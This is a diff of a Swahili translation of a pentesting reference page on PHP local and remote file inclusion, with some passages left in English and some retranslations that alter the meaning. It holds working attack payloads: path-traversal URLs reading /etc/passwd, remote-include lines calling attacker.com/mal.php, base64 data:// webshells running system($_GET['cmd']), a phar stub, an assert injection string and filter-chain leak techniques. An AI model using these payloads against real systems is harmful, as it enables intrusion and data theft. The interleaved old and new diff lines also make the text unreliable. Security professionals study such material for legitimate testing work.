Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za mdudu!
|
||||
|
||||
**Machapisho ya Kudukua**\
|
||||
Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za kudukua
|
||||
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za kudukua
|
||||
|
||||
**Taarifa za Kudukua Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa kudukua unaobadilika haraka kupitia habari za wakati halisi na ufahamu
|
||||
**Taarifa za Kudukua za Muda Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa kudukua wenye kasi kupitia habari za muda halisi na ufahamu
|
||||
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelewa na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
Baki mwelewa na zawadi za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
|
@ -76,7 +76,7 @@ Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote F
|
|||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### mfuatano wa upitishaji uliondolewa bila kutumia mzunguko wa kurudia
|
||||
### mfuatano wa upitishaji uliondolewa bila kutumia mbinu za kurudia
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
|
@ -84,15 +84,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Pita sehemu ya kuongeza herufi zaidi mwishoni mwa string iliyotolewa (kipita ya: $\_GET\['param']."php")
|
||||
Pita kwenye kuongeza herufi zaidi mwishoni mwa string iliyotolewa (kipita: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Hii ni **imesuluhishwa tangu PHP 5.4**
|
||||
Hii ni **imepatikana tangu PHP 5.4**
|
||||
|
||||
### **Ufichamishi**
|
||||
### **Ukodishaji**
|
||||
|
||||
Unaweza kutumia ufichamishi usio wa kawaida kama vile kucode mara mbili ya URL (na mingine):
|
||||
Unaweza kutumia ukodishaji usio wa kawaida kama vile ukodishaji wa URL mara mbili (na mingine):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
|
@ -107,9 +107,9 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|||
```
|
||||
### Kuchunguza Miongozo ya Mfumo wa Faili kwenye Seva
|
||||
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa kina ili kutambua miongozo, siyo tu faili, kwa kutumia njia fulani. Mchakato huu unahusisha kujua kina cha miongozo na kuchunguza uwepo wa folda maalum. Hapa chini ni njia iliyodhibitishwa ya kufanikisha hili:
|
||||
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kina ili kutambua miongozo, siyo tu faili, kwa kutumia njia fulani. Mchakato huu unahusisha kujua kina cha miongozo na kuchunguza uwepo wa folda maalum. Hapa chini ni njia iliyoelezwa kwa undani ya kufanikisha hili:
|
||||
|
||||
1. **Kutambua Kina cha Miongozo:** Hakikisha kina cha miongozo ya saraka yako ya sasa kwa kupata faili ya `/etc/passwd` kwa mafanikio (inatumika ikiwa seva ni ya Linux). URL ya mfano inaweza kuwa kama ifuatavyo, ikionyesha kina cha tatu:
|
||||
1. **Kutambua Kina cha Miongozo:** Hakikisha kina cha miongozo ya folda yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inayotumika ikiwa seva ni ya Linux). URL ya mfano inaweza kuwa na muundo ufuatao, ukiashiria kina cha tatu:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
|
@ -117,10 +117,10 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
|||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Tafsiri Matokeo:** Majibu ya seva yanabainisha ikiwa kabrasha ipo:
|
||||
* **Kosa / Hakuna Matokeo:** Kabrasha ya `private` huenda haipo katika eneo lililotajwa.
|
||||
* **Yaliyomo ya `/etc/passwd`:** Uwepo wa kabrasha ya `private` umethibitishwa.
|
||||
4. **Uchunguzi wa Kina:** Kabrasha zilizogunduliwa zinaweza kuchunguzwa zaidi kwa mipangilio ya vichupo au faili kutumia mbinu ileile au mbinu za Kuingiza Faili za Kienyeji (LFI) za kawaida.
|
||||
3. **Tafsiri Matokeo:** Majibu ya seva yanabainisha ikiwa kabrasha lipo au la:
|
||||
* **Kosa / Hakuna Matokeo:** Kabrasha ya `private` huenda haipo katika eneo lililotajwa.
|
||||
* **Yaliyomo ya `/etc/passwd`:** Kuwepo kwa kabrasha ya `private` kuthibitishwa.
|
||||
4. **Uchunguzi wa Kina:** Kabrasha zilizogunduliwa zinaweza kuchunguzwa zaidi kwa mipangilio ya vichupo au faili kutumia mbinu ile ile au mbinu za Kuingiza Faili za Kienyeji (LFI) za kawaida.
|
||||
|
||||
Kwa kuchunguza kabrasha katika maeneo tofauti katika mfumo wa faili, badilisha mzigo kulingana na hali. Kwa mfano, kuchunguza ikiwa `/var/www/` ina kabrasha ya `private` (ukidhani kabrasha ya sasa iko kwenye kina cha 3), tumia:
|
||||
```bash
|
||||
|
@ -128,13 +128,13 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|||
```
|
||||
### **Mbinu ya Kukata Njia**
|
||||
|
||||
Kukata njia ni njia inayotumiwa kubadilisha njia za faili kwenye programu za wavuti. Mara nyingi hutumiwa kupata faili zilizozuiwa kwa kuzidi hatua fulani za usalama ambazo huongeza herufi ziada mwishoni mwa njia ya faili. Lengo ni kutengeneza njia ya faili ambayo, baada ya kubadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
|
||||
Kukata njia ni njia inayotumiwa kubadilisha njia za faili kwenye programu za wavuti. Mara nyingi hutumiwa kupata faili zilizozuiwa kwa kuzidi hatua fulani za usalama ambazo huongeza herufi zaidi mwishoni mwa njia ya faili. Lengo ni kutengeneza njia ya faili ambayo, baada ya kubadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
|
||||
|
||||
Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuchukuliwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
|
||||
Katika PHP, mifano mbalimbali ya njia ya faili inaweza kuchukuliwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
|
||||
|
||||
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, na `/etc/passwd/` zote hutendewa kama njia ile ile.
|
||||
* Wakati herufi 6 za mwisho ni `passwd`, kuongeza `/` (kufanya iwe `passwd/`) haitabadilishi faili inayolengwa.
|
||||
* Vivyo hivyo, ikiwa `.php` inaongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni haitabadilisha faili inayopatikana.
|
||||
* Vivyo hivyo, ikiwa `.php` inaongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni haitabadilishi faili inayopatikana.
|
||||
|
||||
Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia kupata `/etc/passwd`, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti ya mtumiaji):
|
||||
```
|
||||
|
@ -148,9 +148,9 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||
```
|
||||
Katika mazingira haya, idadi ya ufuatiliaji inayohitajika inaweza kuwa karibu 2027, lakini idadi hii inaweza kutofautiana kulingana na usanidi wa seva.
|
||||
|
||||
* **Kutumia Vipande vya Dot na Wahusika Wengine**: Mfululizo wa ufuatiliaji (`../`) uliochanganywa na vipande vya dot ziada na wahusika unaweza kutumika kusafiri kwenye mfumo wa faili, kwa kufanya vipande vilivyowekwa na seva visiathiriwe.
|
||||
* **Kutambua Idadi Inayohitajika ya Ufuatiliaji**: Kupitia majaribio na kosa, mtu anaweza kupata idadi sahihi ya mfululizo wa `../` unahitajika kusafiri hadi saraka kuu na kisha kufikia `/etc/passwd`, kuhakikisha kuwa vipande vilivyowekwa (kama vile `.php`) vinatupiliwa mbali lakini njia inayotakiwa (`/etc/passwd`) inabaki bila kubadilika.
|
||||
* **Kuanza na Saraka Bandia**: Ni mazoea ya kawaida kuanza njia na saraka isiyopo (kama vile `a/`). Mbinu hii hutumiwa kama tahadhari au kutekeleza mahitaji ya mantiki ya uchambuzi wa njia wa seva.
|
||||
* **Kutumia Vipande vya Dot na Wahusika Wengine**: Mfululizo wa ufuatiliaji (`../`) uliochanganywa na vipande vya dot ziada na wahusika unaweza kutumika kusafiri kwenye mfumo wa faili, kwa kufuta vitambulisho vilivyowekwa na seva.
|
||||
* **Kutambua Idadi Inayohitajika ya Ufuatiliaji**: Kupitia majaribio na kosa, mtu anaweza kupata idadi sahihi ya mfululizo wa `../` unaohitajika kusafiri hadi kwenye saraka kuu na kisha kufikia `/etc/passwd`, kuhakikisha kuwa vitambulisho vilivyowekwa (kama vile `.php`) vinatupiliwa mbali lakini njia inayotakiwa (`/etc/passwd`) inabaki bila kuguswa.
|
||||
* **Kuanza na Saraka Bandia**: Ni mazoea ya kawaida kuanza njia na saraka isiyopo (kama vile `a/`). Mbinu hii hutumiwa kama hatua ya tahadhari au kufikia mahitaji ya mantiki ya uchambuzi wa njia wa seva.
|
||||
|
||||
Wakati wa kutumia mbinu za kukata njia, ni muhimu kuelewa tabia ya uchambuzi wa njia wa seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji njia tofauti, na majaribio mara nyingi ni muhimu kupata njia yenye ufanisi zaidi.
|
||||
|
||||
|
@ -166,12 +166,12 @@ http://example.com/index.php?page=PhP://filter
|
|||
```
|
||||
## Kuingiza Faili Kijijini
|
||||
|
||||
Katika php hii imelemazwa kwa chaguo-msingi kwa sababu **`allow_url_include`** ni **Off.** Lazima iwe **On** ili ifanye kazi, na katika kesi hiyo unaweza kuingiza faili ya PHP kutoka kwenye seva yako na kupata RCE:
|
||||
Katika php hii imelemazwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Lazima iwe **On** ili ifanye kazi, na katika kesi hiyo unaweza kuingiza faili ya PHP kutoka kwenye seva yako na kupata RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inazuia upatikanaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia mfano wa itifaki ya data na base64 kudecode nambari ya PHP ya b64 na kupata RCE:
|
||||
If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -180,7 +180,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Katika msimbo uliopita, `+.txt` ya mwisho ilitolewa kwa sababu muhusika alihitaji string ambayo inamalizika kwa `.txt`, hivyo string inamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha takataka tu na msimbo halisi wa PHP utajumuishwa (na hivyo, kutekelezwa).
|
||||
Katika msimbo uliopita, `+.txt` ya mwisho ilitolewa kwa sababu muhusika alihitaji mfuatano wa herufi ambao unamalizika kwa `.txt`, hivyo mfuatano unamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha takataka tu na msimbo halisi wa PHP utajumuishwa (na hivyo, kutekelezwa).
|
||||
{% endhint %}
|
||||
|
||||
Mfano mwingine **usiotumia itifaki ya `php://`** ungekuwa:
|
||||
|
@ -189,9 +189,9 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Kipengele cha Mzizi cha Python
|
||||
## Kipengele cha Mzizi wa Python
|
||||
|
||||
Katika python katika namna ya kificho kama hii:
|
||||
Katika python katika namna ya namna hii:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
|
@ -207,11 +207,11 @@ Hii ni tabia iliyokusudiwa kulingana na [nyaraka] (https://docs.python.org/3.10/
|
|||
|
||||
## Orodha ya Vichwa vya Java
|
||||
|
||||
Inaonekana kama una Uvamizi wa Njia katika Java na **unauliza kwa saraka** badala ya faili, **orodha ya saraka inarudi**. Hii haitatokea katika lugha zingine (kwa kadri ninavyojua).
|
||||
Inaonekana kama una Uvujaji wa Njia katika Java na **unauliza kwa saraka** badala ya faili, **orodha ya saraka inarudiwa**. Hii haitatokea katika lugha zingine (kwa kadri ninavyojua).
|
||||
|
||||
## Vichwa 25 Bora
|
||||
|
||||
Hapa kuna orodha ya vichwa 25 bora ambavyo vinaweza kuwa hatarini kwa uwezekano wa kuingiza faili za ndani (LFI) (kutoka [kiungo] (https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Hapa kuna orodha ya vichwa 25 bora vinavyoweza kuwa hatarini kwa uwekaji wa faili wa ndani (LFI) (kutoka [kiungo] (https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
|
@ -243,36 +243,36 @@ Hapa kuna orodha ya vichwa 25 bora ambavyo vinaweza kuwa hatarini kwa uwezekano
|
|||
|
||||
### php://filter
|
||||
|
||||
Filters za PHP huruhusu kufanya **operesheni za marekebisho kwenye data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya filters:
|
||||
Vichujio vya PHP huruhusu kufanya operesheni za **ubadilishaji wa msingi kwenye data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya vichujio:
|
||||
|
||||
* [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Ondoa vitambulisho kutoka kwenye data (kila kitu kati ya herufi "<" na ">" )
|
||||
* Tafadhali kumbuka kuwa filter hii imeondolewa kwenye toleo za kisasa za PHP
|
||||
* [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : Inabadilisha kwenye encoding tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya encodings zote** zinazoungwa mkono endesha kwenye konsoli: `iconv -l`
|
||||
* [Vichujio vya String](https://www.php.net/manual/en/filters.string.php):
|
||||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Ondoa vitambulisho kutoka kwenye data (kila kitu kati ya herufi "<" na ">" )
|
||||
* Tafadhali kumbuka kuwa hiki kichujio kimeondolewa katika toleo za kisasa za PHP
|
||||
* [Vichujio vya Ubadilishaji](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : Inabadilisha kwenye encoding tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya encodings** zote zinazoungwa mkono endesha kwenye koni: `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kwa kutumia filter ya uongofu `convert.iconv.*` unaweza **kuzalisha maandishi ya kupindukia**, ambayo yanaweza kuwa na manufaa kuandika maandishi ya kupindukia au kufanya kazi kama mchakato wa kujumuisha maandishi ya kupindukia. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md).
|
||||
Kwa kutumia kichujio cha ubadilishaji `convert.iconv.*` unaweza **kuzalisha maandishi ya uongo**, ambayo yanaweza kuwa na manufaa kuandika maandishi ya uongo au kufanya kazi kama mchakato wa kuingiza maandishi ya uongo. Kwa maelezo zaidi angalia [**LFI2RCE kupitia vichujio vya php**](lfi2rce-via-php-filters.md).
|
||||
{% endhint %}
|
||||
|
||||
* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
* `zlib.deflate`: Pakaza maudhui (yanayoweza kutumika kwa kutoa habari nyingi)
|
||||
* `zlib.inflate`: Punguza data
|
||||
* [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
* `mcrypt.*` : Imepitwa na wakati
|
||||
* `mdecrypt.*` : Imepitwa na wakati
|
||||
* Filters Nyingine
|
||||
* Ukiendesha `var_dump(stream_get_filters());` kwenye php unaweza kupata filters chache **zisizotarajiwa**:
|
||||
* `consumed`
|
||||
* `dechunk`: inabadilisha encoding ya HTTP chunked
|
||||
* `convert.*`
|
||||
* [Vichujio vya Kukandamiza](https://www.php.net/manual/en/filters.compression.php)
|
||||
* `zlib.deflate`: Kukandamiza maudhui (yanayoweza kutumika kuchukua habari nyingi)
|
||||
* `zlib.inflate`: Kukandua data
|
||||
* [Vichujio vya Kuficha](https://www.php.net/manual/en/filters.encryption.php)
|
||||
* `mcrypt.*` : Imepitwa na wakati
|
||||
* `mdecrypt.*` : Imepitwa na wakati
|
||||
* Vichujio Vingine
|
||||
* Ukikimbia `var_dump(stream_get_filters());` kwenye php unaweza kupata vichujio vichache **visivyotarajiwa**:
|
||||
* `consumed`
|
||||
* `dechunk`: inabadilisha nyuma uendeshaji wa HTTP chunked
|
||||
* `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
||||
|
@ -303,27 +303,27 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||
Sehemu ya "php://filter" ni isiyo na kesi
|
||||
{% endhint %}
|
||||
|
||||
### Kutumia vichujio vya php kama oracle kusoma faili za kupenda
|
||||
### Kutumia vichujio vya php kama oracle kusoma faili za kupindukia
|
||||
|
||||
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili za ndani bila kupata pato kutoka kwa seva. Mbinu hii inategemea **kupeleleza faili (herufi kwa herufi) kwa kutumia vichujio vya php** kama oracle. Hii ni kwa sababu vichujio vya php vinaweza kutumika kufanya maandishi kuwa kubwa vya kutosha kufanya php itupe kosa.
|
||||
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili za ndani bila kupata jibu kutoka kwa seva. Mbinu hii inategemea **kupeleleza faili (herufi kwa herufi) kwa kutumia vichujio vya php** kama oracle. Hii ni kwa sababu vichujio vya php vinaweza kutumika kufanya maandishi kuwa kubwa vya kutosha kusababisha php kutupa kosa.
|
||||
|
||||
Katika chapisho halisi unaweza kupata maelezo ya kina ya mbinu, lakini hapa kuna muhtasari wa haraka:
|
||||
Katika chapisho halisi unaweza kupata maelezo ya kina ya mbinu hii, lakini hapa kuna muhtasari wa haraka:
|
||||
|
||||
* Tumia codec **`UCS-4LE`** kuacha herufi ya kiongozi ya maandishi mwanzoni na kufanya ukubwa wa herufi kuongezeka kwa kasi.
|
||||
* Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya kwanza inatabiriwa kwa usahihi** ambayo php itasababisha **kosa**
|
||||
* Kichujio cha **dechunk** kitafuta **kila kitu ikiwa herufi ya kwanza sio hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
|
||||
* Hii, ikichanganywa na ile iliyotangulia (na vichujio vingine vinavyotegemea herufi iliyotabiriwa), itaturuhusu kutabiri herufi mwanzoni mwa maandishi kwa kuona tunafanya mabadiliko ya kutosha kufanya isiwe tena herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaifuta na bomu la awali litasababisha kosa la php.
|
||||
* Codec **convert.iconv.UNICODE.CP930** hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tunatumia codec 6 za hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haitaifuta na kosa la php litasababishwa kwa sababu inazidiana na bomu la awali.
|
||||
* Kwa kutumia mabadiliko mengine kama **rot13** mwanzoni ni rahisi kufichua herufi zingine kama n, o, p, q, r (na vichujio vingine vinaweza kutumika kusogeza herufi zingine kwenye safu ya hex).
|
||||
* Ikiwa herufi ya kwanza ni nambari ni lazima iwekwe kwenye base64 na kufichua herufi 2 za kwanza kufichua nambari.
|
||||
* Tatizo la mwisho ni kuona **jinsi ya kufichua zaidi ya herufi ya kwanza**. Kwa kutumia vichujio vya kumbukumbu kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata herufi nyingine za maandishi kwenye nafasi ya kwanza.
|
||||
* Na ili kuweza kupata **data zaidi** wazo ni **kuzalisha data za taka za byte 2 mwanzoni** na **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** kuifanya **ipige na byte 2 inayofuata**, na **futa data hadi data ya taka** (hii itaondoa byte 2 za kwanza za maandishi ya awali). Endelea kufanya hivi hadi ufikie biti unayotaka kufichua.
|
||||
* Codec **convert.iconv.UNICODE.CP930** hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaruhusu kutambua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tunatumia codec hii mara 6 a->b->c->d->e->f->g herufi hiyo si tena herufi ya hexadecimal, kwa hivyo dechunk haitaifuta na kosa la php litasababishwa kwa sababu inazidishwa na bomu la awali.
|
||||
* Kwa kutumia mabadiliko mengine kama **rot13** mwanzoni, ni rahisi kuvuja herufi zingine kama n, o, p, q, r (na vichujio vingine vinaweza kutumika kusogeza herufi zingine kwenye safu ya hex).
|
||||
* Ikiwa herufi ya kwanza ni nambari, ni lazima iwekwe kwenye msingi wa64 na kuvuja herufi 2 za kwanza kuvuja nambari.
|
||||
* Tatizo la mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya kwanza**. Kwa kutumia vichujio vya kumbukumbu kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata herufi nyingine za maandishi kwenye nafasi ya kwanza.
|
||||
* Na ili kuweza kupata **data zaidi** wazo ni **kuzalisha baiti 2 za data taka mwanzoni** na **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** kuifanya **ipige na baiti 2 inayofuata**, na **futa data hadi data taka** (hii itaondoa baiti 2 za kwanza za maandishi ya awali). Endelea kufanya hivi hadi ufikie biti inayotakiwa kuvuja.
|
||||
|
||||
Katika chapisho zana ya kufanya hivi kiotomatiki pia ilifichuliwa: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
Katika chapisho, zana ya kufanya hivi kiotomatiki pia ilivuja: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Kifuniko hiki kuruhusu kupata descripta ya faili ambazo mchakato una wazi. Inaweza kuwa na manufaa kufichua maudhui ya faili zilizofunguliwa:
|
||||
Kifuniko hiki kuruhusu kupata nambari za faili ambazo mchakato una wazi. Inaweza kuwa na manufaa kuvuja maudhui ya faili zilizofunguliwa:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
|
@ -350,7 +350,7 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
```
|
||||
### data://
|
||||
|
||||
### data://
|
||||
Hii ni njia ya kuingiza data://
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -386,7 +386,7 @@ $phar->addFromString('test.txt', 'text');
|
|||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Ili kutekeleza faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
|
||||
Ili kukusanya faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
|
@ -402,28 +402,34 @@ For a detailed understanding of exploiting deserialization vulnerabilities in th
|
|||
[phar-deserialization.md](phar-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
|
||||
It was possible to alloc chunks of specific sizes abusing more php filters.
|
||||
|
||||
### More protocols
|
||||
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika kumbukumbu kwa kumbukumbu au kwenye faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia mfumo wa faili wa ndani
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia URL za HTTP(s)
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia URL za FTP(s)
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mtiririko wa Ufupishaji
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi kitu kinachoweza kuchapishwa, hivyo sio kweli inayoweza kutumika hapa)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Shell Salama 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mtiririko wa Sauti (Haitumiki kusoma faili za aina yoyote)
|
||||
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
|
||||
|
||||
## LFI kupitia 'assert' ya PHP
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Hatari za Uingizaji wa Faili za Ndani (LFI) katika PHP ni kubwa sana hasa unaposhughulika na kazi ya 'assert', ambayo inaweza kutekeleza nambari ndani ya herufi. Hii ni tatizo hasa ikiwa data inayoingia ina herufi za upelelezi wa saraka kama vile ".." inachunguzwa lakini haijasafishwa ipasavyo.
|
||||
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
|
||||
|
||||
Kwa mfano, nambari ya PHP inaweza kuwa imeundwa kuzuia upelelezi wa saraka kama ifuatavyo:
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Huku lengo likiwa kuzuia upenyaji, kwa bahati mbaya hii inaunda njia ya kuingiza nambari. Kwa kuitumia kwa kusoma yaliyomo ya faili, mshambuliaji anaweza kutumia:
|
||||
Huku lengo likiwa kuzuia upenyaji, kwa bahati mbaya hii inaunda njia ya kuingiza nambari. Kwa kuitumia kwa kusoma yaliyomo kwenye faili, mshambuliaji anaweza kutumia:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
|
@ -437,50 +443,50 @@ Ni muhimu kufanya **URL-encode hizi payloads**.
|
|||
|
||||
